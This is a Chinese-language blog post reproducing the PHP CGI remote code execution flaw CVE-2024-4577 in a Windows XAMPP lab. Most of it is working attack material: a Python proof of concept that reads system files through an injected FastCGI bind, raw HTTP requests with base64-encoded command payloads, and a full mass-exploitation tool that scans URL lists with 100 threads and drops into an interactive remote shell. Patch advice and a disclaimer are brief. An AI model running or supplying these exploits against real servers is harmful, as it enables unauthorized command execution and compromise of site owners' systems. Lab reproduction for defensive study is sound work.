XAMPP默认环境CVE-2024-4577 PHP CGI 远程代码执行漏洞复现

PHP CGI在Windows平台的远程代码执行漏洞(CVE-2024-4577),探讨了漏洞的技术细节、背景、利用条件以及修复建议。PHP官方团队已于2024年6月6日发布了新版本修复CVE-2024-4577,该漏洞利用前置条件较低且危害较大,建议尽快升级到安全版本。

 

0x00 漏洞概述

CVE-2024-4577是一个影响在Windows平台上运行的PHP CGI的远程代码执行漏洞。

漏洞的存在是因为PHP在设计时未能预见到Windows的Best-Fit字符编码转换特性,这使得攻击者可以通过构造特定的请求来绕过安全限制。受影响的环境包括使用特定语系设置的Windows系统,如简体中文(936)、繁体中文(950)和日文(932)。

0x01 多篇文章影响范围

PHP 8.3 < 8.3.8

PHP 8.2 < 8.2.20

PHP 8.1 < 8.1.29

其他版本的PHP官方已不在维护,建议根据实际情况升级到安全版本或者关闭php-cgi的使用。

Xmapp复现环境8.2.12下载,本次复现环境下载:

https://zenlayer.dl.sourceforge.net/project/xampp/XAMPP%20Windows/8.2.12/xampp-windows-x64-8.2.12-0-VS16-installer.exe?viasf=1

其他版本环境下载地址:

https://sourceforge.net/projects/xampp/files/XAMPP%20Windows/

下载后直接双击下一步安装即可,如果你下载的是免安装版本可以解压后找到这个文件双击打开

 

XAMPP默认环境CVE-2024-4577 PHP CGI 远程代码执行漏洞复现

 

打开之后会提示选择语言,一般默认即可

XAMPP默认环境CVE-2024-4577 PHP CGI 远程代码执行漏洞复现

启动这两个此时环境已经搭建成功

XAMPP默认环境CVE-2024-4577 PHP CGI 远程代码执行漏洞复现

 

通过浏览器访问查看网页是否可以正常打开

 

XAMPP默认环境CVE-2024-4577 PHP CGI 远程代码执行漏洞复现

随后使用POC读取文件C:/windows/system.ini进行验证

D:\CVE-2024-4577-PHP-RCE-main\CVE-2024-4577-PHP-RCE.py 192.168.0.105:80

读取结果如图:

 

 

XAMPP默认环境CVE-2024-4577 PHP CGI 远程代码执行漏洞复现

 

验证代码如下:

# python CVE-2024-4577-PHP-RCE.py PhpServerHost:PhpServerPort

import requests
import socket
import struct
import sys


FCGI_BEGIN_REQUEST = 1
FCGI_ABORT_REQUEST = 2
FCGI_END_REQUEST = 3
FCGI_PARAMS = 4
FCGI_STDIN = 5
FCGI_STDOUT = 6
FCGI_STDERR = 7
FCGI_DATA = 8
FCGI_GET_VALUES = 9
FCGI_GET_VALUES_RESULT = 10
FCGI_UNKNOWN_TYPE = 11

FCGI_RESPONDER = 1
FCGI_KEEP_CONN = 1

request_id = 1

def fcgi_header(type, request_id, content_length, padding_length):
    return struct.pack('!BBHHBx', 1, type, request_id, content_length, padding_length)

def fcgi_begin_request(request_id, role, flags):
    body = struct.pack('!HB5x', role, flags)
    return fcgi_header(FCGI_BEGIN_REQUEST, request_id, len(body), 0) + body

def fcgi_params(request_id, name, value):
    nlen = len(name)
    vlen = len(value)
    body = struct.pack('BB', nlen, vlen) + name.encode() + value.encode()
    return fcgi_header(FCGI_PARAMS, request_id, len(body), 0) + body

def fcgi_end_params(request_id):
    return fcgi_header(FCGI_PARAMS, request_id, 0, 0)

def fcgi_stdin(request_id, data):
    body = data.encode()
    return fcgi_header(FCGI_STDIN, request_id, len(body), 0) + body

def fcgi_end_stdin(request_id):
    return fcgi_header(FCGI_STDIN, request_id, 0, 0)

def send_request(host, cgi_bind_port, script_filename):
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.settimeout(5)
    sock.connect((host, int(cgi_bind_port)))
    params = {
        'SCRIPT_FILENAME': script_filename
    }

    sock.sendall(fcgi_begin_request(request_id, FCGI_RESPONDER, 0))

    for name, value in params.items():
        sock.sendall(fcgi_params(request_id, name, value))
    sock.sendall(fcgi_end_params(request_id))

    sock.sendall(fcgi_end_stdin(request_id))

    response = b''
    while True:
        data = sock.recv(1024)
        if not data:
            break
        response += data

    sock.close()
    return response

def exp1(host, http_port, cgi_bind_port):
    url = 'http://{}:{}/php-cgi/php-cgi.exe?%adb{}:{}'.format(host, http_port, host, cgi_bind_port)
    try:
        r = requests.get(url, headers={'User-Agent':'', 'Redirect-Status': 'XCANWIN'}, timeout=2)
    except Exception as e:
        pass

def exp2(host, cgi_bind_port, script_filename):
    response = send_request(host, cgi_bind_port, script_filename)
    print(response.decode(errors='ignore'))


host, http_port = sys.argv[1].split(":")
script_filename = "C:/windows/system.ini" # can include *.php file
cgi_bind_port = "9999"

exp1(host, http_port, cgi_bind_port)
exp2(host, cgi_bind_port, script_filename)

 

对于影响范围可能实际不止文章开头所提到的,作者在其他文章找到更广的影响范围如下:

对于影响范围我下载了PHP Version 7.4.25进行验证

XAMPP默认环境CVE-2024-4577 PHP CGI 远程代码执行漏洞复现

 

环境下载地址为,环境安装方式和文章开头一致:

https://sourceforge.net/projects/xampp/files/XAMPP%20Windows/7.4.25/

此时,使用7.4.25进行漏洞验证,还是使用上面的代码进行验证,成功读取的文件C:/windows/system.ini内容如下:

 

XAMPP默认环境CVE-2024-4577 PHP CGI 远程代码执行漏洞复现

因此此漏洞可能影响的漏洞范围更为广泛,同时从github下载多个poc进行测试,最终检测结果均为不存在漏洞,但是使用上面这个poc检测漏洞是存在的:

其中本文测试的poc大致如下,但是使用上述poc验证是可以成功读取文件的:

https://github.com/aaddmin1122345/CVE-2024-4577-POC
https://github.com/watchtowrlabs/CVE-2024-4577

 

XAMPP默认环境CVE-2024-4577 PHP CGI 远程代码执行漏洞复现

居然在可以读取到系统里面的C:/windows/system.ini文件内容那么说明这个漏洞肯定是存在的,经过分析决定使用burp进行重放数据包进行分析

构造的exp如下,使用exp查看当前权限:

GET /php-cgi/php-cgi.exe?%add+cgi.force_redirect%3dXCANWIN+-d+allow_url_include%3d1+-d+auto_prepend_file%3d"data:XCANWIN/XCANWIN;base64,PD9waHAgc3lzdGVtKCJ3aG9hbWkiKTs/PiAg" HTTP/1.1
Host: 192.168.0.105:80
User-Agent: 
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Redirect-Status: XCANWIN
Content-Length: 0

XAMPP默认环境CVE-2024-4577 PHP CGI 远程代码执行漏洞复现

 

使用同样的exp验证php 7.4.25

 

 

 

XAMPP默认环境CVE-2024-4577 PHP CGI 远程代码执行漏洞复现

 

同样我们如果想查看当前目录下的文件构造exp如下:

GET /php-cgi/php-cgi.exe?%add+cgi.force_redirect%3dXCANWIN+-d+allow_url_include%3d1+-d+auto_prepend_file%3d"data:XCANWIN/XCANWIN;base64,PD9waHAgc3lzdGVtKCJkaXIiKTs/PiAg" HTTP/1.1
Host: 192.168.0.105:80
User-Agent: 
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Redirect-Status: XCANWIN
Content-Length: 0

验证7.4.25版本还是失败

 

注意:在执行命令的时候base64编码后的内容如果是=号可能会失败,此时我们可以在被执行的命令最后加空格试试或把=删除试试,如图此时并未成功

 

 

 

 

XAMPP默认环境CVE-2024-4577 PHP CGI 远程代码执行漏洞复现

 

 

 

 

尝试把==删除后成功执行

XAMPP默认环境CVE-2024-4577 PHP CGI 远程代码执行漏洞复现

经过测试发现在php 7.4.25版本虽然没成功执行命令,但是成功读取到系统文件C:/windows/system.ini文件内容,因此除了开头所提到的版本,漏洞应该还包含其他的版本,有心情的可以深入研究研究,经过测试phpstudy默认环境验证这个漏洞失败,所以复现这个漏洞建议使用xmapp

如想直接使用命令执行poc可尝试下面的代码:

import re
import base64
import requests
import rich_click as click
from colorama import Fore, init
from alive_progress import alive_bar
from prompt_toolkit import PromptSession
from prompt_toolkit.formatted_text import HTML
from prompt_toolkit.history import InMemoryHistory
from concurrent.futures import ThreadPoolExecutor, as_completed

requests.packages.urllib3.disable_warnings()
init(autoreset=True)


class PHPKiller:
    def __init__(self, file_path=None, url=None, output=None):
        self.urls = []
        self.output = output
        if file_path:
            self.urls = self.read_urls_from_file(file_path)
        elif url:
            self.urls = [url]
        self.single_url_mode = url is not None

    def read_urls_from_file(self, file_path):
        with open(file_path, "r") as file:
            return file.read().splitlines()

    def custom_print(self, message: str, header: str) -> None:
        header_colors = {"+": "green", "-": "red", "!": "yellow", "*": "blue"}
        header_color = header_colors.get(header, "white")
        formatted_message = click.style(
            f"[{header}] ", fg=header_color, bold=True
        ) + click.style(f"{message}", bold=True, fg="white")
        click.echo(formatted_message)

    def send_request(self, url, cmd="whoami", verbose=True):
        headers = {"Content-Type": "application/x-www-form-urlencoded"}
        test = base64.b64encode(
            f"echo '[S]'; system('{cmd}'); echo '[E]';".encode()
        ).decode()
        data = f"<?php phpinfo(); echo eval(base64_decode('{test}')); die()?>"
        php_settings = [
            "-d cgi.force_redirect=0",
            '-d disable_functions=""',
            "-d allow_url_include=1",
            "-d auto_prepend_file=php://input",
        ]
        settings_str = (
            " ".join(php_settings)
            .replace("-", "%AD")
            .replace("=", "%3D")
            .replace(" ", "+")
        )
        payload = f"/php-cgi/php-cgi.exe?{settings_str}"

        try:
            response = requests.post(
                f"{url.rstrip('/')}{payload}",
                headers=headers,
                data=data,
                timeout=5,
                verify=False,
            )
            match = re.search(r"[S](.*?)[E]", response.text, re.DOTALL)
            if match:
                result_value = match.group(1).strip()
                if verbose:
                    self.custom_print(
                        f"The URL {url} is vulnerable, Result: {result_value}", "+"
                    )
                return True, url, result_value
            else:
                return False, url, f"Fail at {url} with payload {payload}"
        except requests.exceptions.RequestException as e:
            return None, url, f"Error at {url} with payload {payload}: {str(e)}"

    def execute_requests(self):
        total_urls = len(self.urls)
        success_count = 0
        fail_count = 0
        error_count = 0

        if self.single_url_mode:
            result, url, message = self.send_request(self.urls[0])
            if result:
                if self.output:
                    with open(self.output, "a") as f:
                        f.write(f"{url}n")
                self.interactive_shell(url)
            else:
                self.custom_print(message, "-")
        else:
            with ThreadPoolExecutor(max_workers=100) as executor, alive_bar(
                total_urls, enrich_print=False
            ) as bar:
                future_to_url = {
                    executor.submit(self.send_request, url): url for url in self.urls
                }
                for future in as_completed(future_to_url):
                    result, url, message = future.result()
                    if result:
                        success_count += 1
                        if self.output:
                            with open(self.output, "a") as f:
                                f.write(f"{url}n")
                    elif result is False:
                        fail_count += 1
                    else:
                        error_count += 1
                    bar.text = (
                        f"{Fore.GREEN}Success: {success_count}{Fore.RESET}, "
                        f"{Fore.YELLOW}Fail: {fail_count}{Fore.RESET}, "
                        f"{Fore.RED}Error: {error_count}{Fore.RESET}"
                    )
                    bar()

    def interactive_shell(self, url: str):
        session = PromptSession(history=InMemoryHistory())
        while True:
            cmd = session.prompt(
                HTML("<ansiyellow><b>WINDAUBE> </b></ansiyellow>"), default=""
            ).strip()
            if cmd.lower() == "exit":
                break
            if cmd.lower() == "clear":
                print("x1b[2Jx1b[H", end="")
                continue

            _, _, response = self.send_request(url, cmd, verbose=False)
            self.custom_print(f"Result:nn{response}", "*")


@click.command(
    help="""
    PHP CGI argument injection vulnerability affecting PHP in certain configurations on a Windows target.
    A vulnerable configuration is locale dependent (such as Chinese or Japanese), such that
    the Unicode best-fit conversion scheme will unexpectedly convert a soft hyphen (0xAD) into a dash (0x2D)
    character. Additionally, a target web server must be configured to run PHP under CGI mode, or directly expose
    the PHP binary. This issue has been fixed in PHP 8.3.8 (for the 8.3.x branch), 8.2.20 (for the 8.2.x branch),
    and 8.1.29 (for the 8.1.x branch). PHP 8.0.x and below are end of life and have not received patches.
    """
)
@click.option(
    "--file",
    "-f",
    type=click.Path(exists=True),
    required=False,
    help="Path to file containing URLs to test.",
)
@click.option("--url", "-u", type=str, required=False, help="Single URL to test.")
@click.option(
    "--output",
    "-o",
    type=str,
    required=False,
    help="Output file to save vulnerable URLs.",
)
def main(file, url, output):
    if file:
        sender = PHPKiller(file_path=file, output=output)
    elif url:
        sender = PHPKiller(url=url, output=output)
    else:
        click.echo("You must provide either a file with URLs or a single URL to test.")
        return
    sender.execute_requests()


if __name__ == "__main__":
    main()

 

 

 

XAMPP默认环境CVE-2024-4577 PHP CGI 远程代码执行漏洞复现

文件exp文件下载地址:

CVE-2024-4577-PHP-RCE-main

 

修复建议:

目前该漏洞已经修复,受影响用户可升级到PHP版本8.3.88.2.208.1.29或更高版本。

 

参考连接:

https://github.com/11whoami99/CVE-2024-4577
https://github.com/ohhhh693/CVE-2024-4577
https://github.com/manuelinfosec/CVE-2024-4577
https://github.com/Chocapikk/CVE-2024-4577
https://sourceforge.net/projects/xampp/files/XAMPP%20Windows/
https://github.com/xcanwin/CVE-2024-4577-PHP-RCE
https://github.com/W01fh4cker/CVE-2024-27198-RCE
https://github.com/duy-31/CVE-2024-21413
https://devco.re/blog/2024/06/06/security-alert-cve-2024-4577-php-cgi-argument-injection-vulnerability/
https://bodhi.fedoraproject.org/updates/FEDORA-2024-52c23ef1ec
https://www.kb.cert.org/vuls/id/520827
https://www.php.net/downloads

 

 

 

 

0x01 阅读须知
技术文章仅供参考,此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。本文所提供的工具仅用于学习,禁止用于其他!!!
THE END
分享
二维码
海报
XAMPP默认环境CVE-2024-4577 PHP CGI 远程代码执行漏洞复现
PHP CGI在Windows平台的远程代码执行漏洞(CVE-2024-4577),探讨了漏洞的技术细节、背景、利用条件以及修复建议。PHP官方团队已于2024年6月6日发布了新版本修复CVE-2024-4577,该漏洞利用前置条件较低且危害较大……
<<上一篇
下一篇>>